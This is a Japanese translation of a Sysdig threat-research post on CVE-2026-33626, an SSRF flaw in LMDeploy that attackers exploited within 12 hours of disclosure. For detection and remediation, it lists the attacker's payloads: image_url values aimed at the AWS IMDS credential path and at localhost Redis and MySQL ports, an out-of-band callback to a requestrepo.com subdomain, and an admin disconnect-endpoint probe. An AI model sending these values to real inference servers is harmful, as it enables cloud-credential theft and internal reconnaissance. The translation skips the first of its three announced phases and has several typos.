CVE-2026-33626: 攻撃者が12時間でLMDeployLLM推論エンジンを悪用した方法

Sysdigの脅威研究チーム

Image

2026年4月21日、GitHubはGHSA-6w67-hwm5-92mqを公開し、その後CVE-2026-33626が割り当てられました。これはLMDeployのサーバー側リクエストフォージェリ(SSRF)脆弱性です。LMDeployは、上海AI研究所InternLMが開発したビジョン言語およびテキスト大言語モデル(LLM)を提供するためのツールキットです。

GitHubアドバイザリーページでの公開から12時間31分以内に、Sysdigの脅威研究チーム(TRT)はハニーポット群に対する最初のLMDeploy悪用の試みを観察しました。攻撃者は単にバグを検証して終わるのではなく、8分間の単一セッション中に、ビジョン言語画像ローダーをジェネリックHTTP SSRFプリミティブとして使用して、モデルサーバーの背後の内部ネットワークをポートスキャンしました:AWSインスタンスメタデータサービス(IMDS)、Redis、MySQL、セカンダリHTTP管理インターフェース、およびアウトオブバンド(OOB)DNS流出エンドポイントです。

Sysdig TRTはアドバイザリーが公開された直後に脆弱なLMDeployインスタンスを実行するハニーポットをデプロイしました。その後の悪意のある活動は、攻撃者がLMDeployなどのAI インフラストラクチャツールに対して狭く説明されたSSRFをどのように武器化するかを示しています。

悪用のタイムライン

時間(UTC)

イベント

4月18日、15:09

リポジトリレベルのGitHubセキュリティアドバイザリー(GHSA)が公開*

4月20日、21:16

CVE-2026-33626がNVDで作成

4月21日、15:04

GHSA-6w67-hwm5-92mqがGitHubで公開

4月22日、03:35

最初の悪用の試みが観察(103.116.72.119から)

インデックス付きGHSA公開と最初の悪用の間のギャップは12時間31分でした。攻撃時点で、GitHubまたは主要なエクスプロイトリポジトリ上に公開されたProof-of-Concept(PoC)コードは存在しませんでした。最近の複数のニッチターゲットケースと同様に、アドバイザリーテキスト自体に、影響を受けるファイル、パラメータ名、およびスキームまたはホスト検証の欠如を含む、ゼロから実行可能なエクスプロイトを構築するのに十分な詳細情報が含まれていました。

*: リポジトリレベルのGHSAを検索する直接的な方法はありません。特定のリポジトリを監視する必要があります。そのため、Sysdig TRTは12時間のアドバイザリー対悪用タイムラインにリポジトリレベルのGHSA公開を含めていません。代わりに、アドバイザリーがメインのGitHubアドバイザリーページで公開されたときから時間が始まります。

LMDeploy脆弱性

LMDeployはビジョン言語モデル(VLM)、例えばInternVL2、internlm-xcomposer2、Qwen2-VLなどをOpenAI互換HTTPAPIを通じて提供する本番推論ツールキットです。チャット完了リクエストにimage_urlフィールドが含まれている場合、サーバーはそのURLを逆参照し、画像をモデルのコンテキストにロードします。

標準のOpenAIビジョンメッセージシェイプは次のとおりです:

{
"model": "internlm-xcomposer2",
"messages": [{
"role": "user",
"content": [
      {"type": "text", "text": "describe this"},
      {"type": "image_url", "image_url": {"url": "http://..."}}
    ]
  }]
}

ご覧のとおり、このコードにはホスト名解決チェック、プライベートネットワークブロックリスト、およびリンクローカルアドレスの保護がありません。http://またはhttps://スキーム(http://169.254.169.254/、http://127.0.0.1:3306、またはRFC 1918アドレスを含む)を持つURL は、サーバーによってフェッチされ、モデルに返されました。RedisやMySQLなどのバイナリプロトコルの場合、ポートが開いていることを確認するのに十分なエラー応答が返されました。

LMDeploy悪用の3つのフェーズ

8分間のセッションで、103.116.72.119は3つのフェーズにわたって10個の異なるリクエストを生成し、internlm-xcomposer2とOpenGVLab/InternVL2-8Bという2つのビジョン言語モデルを切り替えました。セッション中に モデルを切り替えることは、オペレータが疑わしい入力を拒否するいくつかのVLMを認識していることを示唆しており、両方のモデルをテストしています。

フェーズ2:OOBコールバックとAPI列挙(03:41:07~03:41:58 UTC)

3分後、攻撃者はrequestrepor.comへのアウトオブバンド(OOB)DNSコールバックで送出をテストしました。これはBurp CollaboratorおよびProject DiscoveryのInteract.shに似たパブリックOAST(アウトオブバンドアプリケーションセキュリティテスト)サービスです:

image_url: http[://]cw2mhnbd.requestrepo.com

無制限の送出を備えた脆弱なリアルワールドのLMDeployインスタンス上では、攻撃者のrequestrepor.comダッシュボードはSSRFとサーバーが任意の外部ホストに到達できることを確認するHTTPコールバックを受け取ります。これは標準的なブラインドSSRF確認ステップです。

OOBテストの直後、攻撃者はAPIサーフェスを列挙しました:

GET /
GET /openapi.json
POST /v1/chat/completions  (model: OpenGVLab/InternVL2-8B, no image_url)

/openapi.jsonリクエストは、攻撃者がサーバーの自動生成OpenAPIスキーマを読むことで、/v1/chat/completionsを超えた追加エンドポイントを見つけることの典型です。LMDeployはその提供モードで/distserve/*の下にいくつかの管理エンドポイントを公開しており、ほぼ確実にここで発見されました。

フェーズ3:管理者プレーンプローブとローカルホストポートスイープ(03:42:35~03:43:53 UTC)

攻撃者は最初に分散サービング キルスイッチをプローブしました:

POST /distserve/p2p_drop_connect
body: {}

上記のエンドポイントは、分解されたLMDeployクラスター内の名前付きリモートエンジンへのZMQリンクを破棄します。影響を受けるコードはself.zmq_disconnect(drop_conn_request.remote_engine_id)を呼び出し、{'success': True}を返します。ライブなremote_engine_idを知っているまたは推測できる攻撃者は、そのピアのprefill/decodeルートを破棄し、それを通じて流れる推論を低下させたり、破壊したりできます。影響を受けるバージョンでは、これらのエンドポイントはデフォルト設定で認証レイヤーを持たなかったのです。

その後、攻撃者はSSRFプリミティブに戻り、36秒間にわたってループバックインターフェースを体系的にポートスキャンしました:

時間

ターゲットURL

想定されるサービス

03:43:17

http://127.0.0.1:8080

セカンダリHTTP/プロキシ管理

03:43:36

http://127.0.0.1:3306

MySQL

03:43:53

http://127.0.0.1

HTTPポート80

36秒以内に3つのローカルホストプローブは、SSRFをプローブプリミティブとして使用したスクリプト化されたポートスイープの署名です。攻撃者は画像ファイルを探していません。代わりに、彼らはビジョンLLMエンドポイントを、外部ネットワークが到達できないアドレスに到達できるジェネリックHTTP GETとして扱っています。これらのURLのすべてはv0.12.3の_is_safe_url()チェックによってブロックされます。

これがディフェンダーにとって何を意味するか

CVE-2026-33626は、過去6か月間のAIインフラストラクチャ空間で繰り返し観察されたパターンに適合しています:推論サーバー、モデルゲートウェイ、およびエージェントオーケストレーションツールの重大な脆弱性は、アドバイザリー公開の数時間以内に武器化されており、インストールベースのサイズまたは範囲に関係なく。例えば、LMDeployには7,798のGitHubスターがあり、vLLMやOllamaなどのメインストリームプロジェクトより1桁少なく、CISAの既知悪用される脆弱性(KEV)カタログに表示されません。

観察されたタイムラインは、Zero Day Clockプロジェクトおよびmarimoのプリオース前RCEに関する私ども自身の以前の調査で報告されたトレンドを拡張します。攻撃者は質量悪用ツールを待つことはもはやありません。アドバイザリーテキストは、注意深く読むと、エクスプロイトを作成するのに十分です。

Generative AI(GenAI)はこの崩壊を加速しています。GHSA-6w67-hwm5-92mq のようにアドバイザリーが具体的で、影響を受けるファイル、パラメータ名、根本原因の説明、およびサンプル脆弱コードが含まれている場合、実質的には任意の商用LLMに対して潜在的なエクスプロイトを生成するための入力プロンプトです。複数の最近のニッチターゲット悪用にわたってこのパターンを観察および報告しました:GHSAが公開され、実行可能なエクスプロイトが数時間以内に表示され、公開されたPoC は存在しませんでした。

脆弱な関数の名前を付けたり、欠落しているチェックを表示したり、影響を受けるコードパターンを引用したりするアドバイザリーは、有能なコード生成モデルの時代には、ターンキーエクスプロイトになります。CVE-2026-33626のターゲットがそれ自体LLM提供フレームワークであるという皮肉は副次的です。同じ加速がCVEランドスケープ全体に適用されます。

CVE-2026-33626をテキストブックSSRFと区別するのは、プリミティブがAIサービスノードで何をロック解除するかです:

  • IAM認証情報およびクラウドメタデータ。ビジョンLLMノードは通常、広いIAMロール:S3モデルアーティファクト、トレーニングデータセット、頻繁にクロスアカウントassume-roleを持つGPUインスタンス上で実行します。1つの成功したIMDSフェッチはクラウドアカウントを妥協することができます。
  • インクラスターデータストア。推論デプロイメントは通常、プロンプトキャッシング用のRedis、メータリング用のMySQL またはPostgres、および内部HTTP制御プレーンを付属しています。攻撃者のプローブ(127.0.0.1:6379、127.0.0.1:3306、127.0.0.1:8080)は、このトポロジーに直接マップします。
  • モデルレベルのサービス拒否。distserve/p2p_drop_connectプローブは、攻撃者がLMDeployの分解サービングアーキテクチャを理解していたことを示しています:prerfill とdecodeエンジン間のZMQリンクを破棄することで、そのルートの推論が中断されます。
  • ジェネリックHTTPプリミティブ。リモートコード実行(RCE)とは異なり、このSSRFは被害者のネットワーク内の読み取り専用HTTPクライアントであり、パブリックインターネットからアクセス可能です。より大きな操作の前の偵察のために、このアクセスは多くのコード実行バグより価値のあるフットホールドです。

多くのGPUホスト環境でのIP レベルの送出制御の欠如と組み合わせると、LMDeploy脆弱性で見られるバグのクラスは特に魅力的です。

侵害のインジケーター

ソースIP

IP

場所

ASN

103.116.72.119

コーロン湾、香港

AS400618 Prime Security Corp.

ソースIPは、オペレータの真の出発地ではなく、操作のためにレンタルされたプロキシ、VPNエンドポイント、またはクラウドインスタンスである可能性があります。

コールバックインフラストラクチャ

ドメイン

目的

cw2mhnbd.requestrepo.com

requestrepo.comOASTサービスによって提供されるアウトオブバンドDNS/HTTP exfilサブドメイン。cw2mhnbd プレフィックスはこのオペレータのセッションに固有です。

SSRFによってフェッチされたターゲットURL

URL

分類

http://169.254.169.254/latest/meta-data/iam/security-credentials/

AWS IMDSv1:IAMロール認証情報流出

http://127.0.0.1:6379

ループバックRedis

http://127.0.0.1:3306

ループバックMySQL

http://127.0.0.1:8080

ループバックセカンダリHTTP

http://127.0.0.1

ループバックHTTP(ポート80)

http[://]cw2mhnbd.requestrepo.com

ブラインドSSRFOOB確認

ランタイム検出

この攻撃クラスのランタイム検出は、アプリケーションレイヤーとホストレイヤーの2つのレイヤーにあります。

アプリケーションレイヤーでは、ユーザー提供のコンテンツからURLをフェッチする推論サーバーは、すべての発信リクエストの解決IPをログに記録し、リンクローカル(169.254.0.0/16)、ループバック(127.0.0.0/8、::1)、またはRFC 1918プライベートレンジへのリクエスト、およびそれらのレンジ上の既知のサービスポート(6379 Redis、3306 MySQL、5432 Postgres、9200 Elasticsearch、2375/2376 Docker)に対する警告を発行する必要があります。ホストレイヤーでは、ランタイム検出はフレームワークに関係なく、悪用後の症状(推論プロセスからクラウドメタデータエンドポイントへの発信接続)をキャプチャします。

Sysdig Secureは、攻撃者が試みたまさにURLで発火するいくつかのFalcoルールをそのまま使用できます。GPUおよび推論ノードでSysdig Secureを実行しているチームは、ビジョン言語およびエージェントツール使用ワークロードのこれらの検出ルールを有効にする必要があります:

•   コンテナからEC2インスタンスメタデータサービスに接続
•   ホストからEC2インスタンスメタデータサービスに接続
•   コンテナからGCPインスタンスメタデータサービスに接続
•   ホストからGCPインスタンスメタデータサービスに接続
•   コンテナからAzureインスタンスメタデータサービスに接続
•   ホストからAzureインスタンスメタデータサービスに接続
•   タスクメタデータエンドポイントに接続

脆弱なリアルワールドのLMDeployインスタンスでは、IMDSエンドポイントへの攻撃者の最初のリクエストは、サーバー側のrequests.get()がIMDSエンドポイントに到達した瞬間にコンテナからEC2インスタンスメタデータサービスに接続ルールをトリガーし、アプリケーションレイヤーのログに関係なくトリガーします。

GCPおよびAzureルールは、それらのクラウド上で実行されている被害者に対して同じ方法で発火し、タスクメタデータエンドポイントに接続はECS/Fargateワークロードをカバーしており、IMDSは169.254.169.254ではなく169.254.170.2に住んでいます。

推奨事項

  • 侵害を想定しましょう。
  • LMDeployをv0.12.3以降に更新します。アップグレードが不可能な場合は、推論APIを逆プロキシの前に配置してimage_url値をストリップまたは書き換えるか、ビジョンモデルエンドポイント全体を無効化します。
  • 推論ノードでIMDSv2を強制します。httpTokens=requiredを設定してIMDSv1を無効化します。これはこのバグのクラスの最も高いROI制御です:requests.get()SSRF プリミティブは必要なセッショントークン(最初にPUT /latest/api/tokenを発行する方法がない)を取得できません。httpPutResponseHopLimit=1でペアになり、コンテナがデフォルトブリッジネットワーク経由でIMDSに到達するのを防ぎます。
  • 推論サーバーからのVPC/SGレベルでの送出送信を制限します。推論ノードは、モデルアーティファクトストレージ(S3、GCS)およびロギングエンドポイントのみに到達する必要があります。
  • バージョン0.12.2以前のパブリックに到達可能なLMDeployデプロイメントに接続されているIAMロール認証情報をローテーションします。
  • 推論ノードでの内部サービス露出を監査します。Redis、MySQL、および管理制御プレーンは、モデルサーバーが真の必要性がある場合にのみプライベートインターフェースにバインドし、関係なく認証を必要とします。
  • 推論プロセスからリンクローカル、RFC 1918、またはループバックアドレスへの発信接続を監視します。これらは通常の操作でゼロである必要があります。
  • AIインフラストラクチャツールをインベントリーします。モデル提供プラットフォーム(LMDeploy、vLLM、TGI、Ray Serve)は、標準セキュリティレビューの外側で頻繁にデプロイされ、開示後かなり後までCVEスキャンでカバーされていないことがよくあります。

結論

CVE-2026-33626は一貫したパターンに適合しています:推論およびエージェントフレームワークSSRF バグは、GHSA公開の数時間以内に武器化され、公開されたPoC を待つのではなくアドバイザリーから構築するオペレータによって。GitHubアドバイザリーページでの公開から最初に観察されたLMDeploy悪用の12時間31分は、「パッチチューズデー」の頻度と月次スキャンが十分な制御ではないほど短いです。攻撃者は単にバグを検証しませんでしたが、彼らは8分間の単一セッションでそれをポートスキャンプリミティブとして使用しました。

AIインフラストラクチャを実行するディフェンダーの場合、ビジョンLLM画像ローダー、エージェントツール使用エンドポイント、およびRAGフェッチャーは、明示的な送出フィルタリングが適用されない限り、デフォルトではSSRFの候補です。推論ホスト上のランタイム検出、厳格なVPC送出制御、および急速なパッチ応答は、武器化ウィンドウが数時間で測定される場合、最も効果的な制御のままです。

クラウド検出およびレスポンス

翻訳元: https://webflow.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours

ソース: webflow.sysdig.com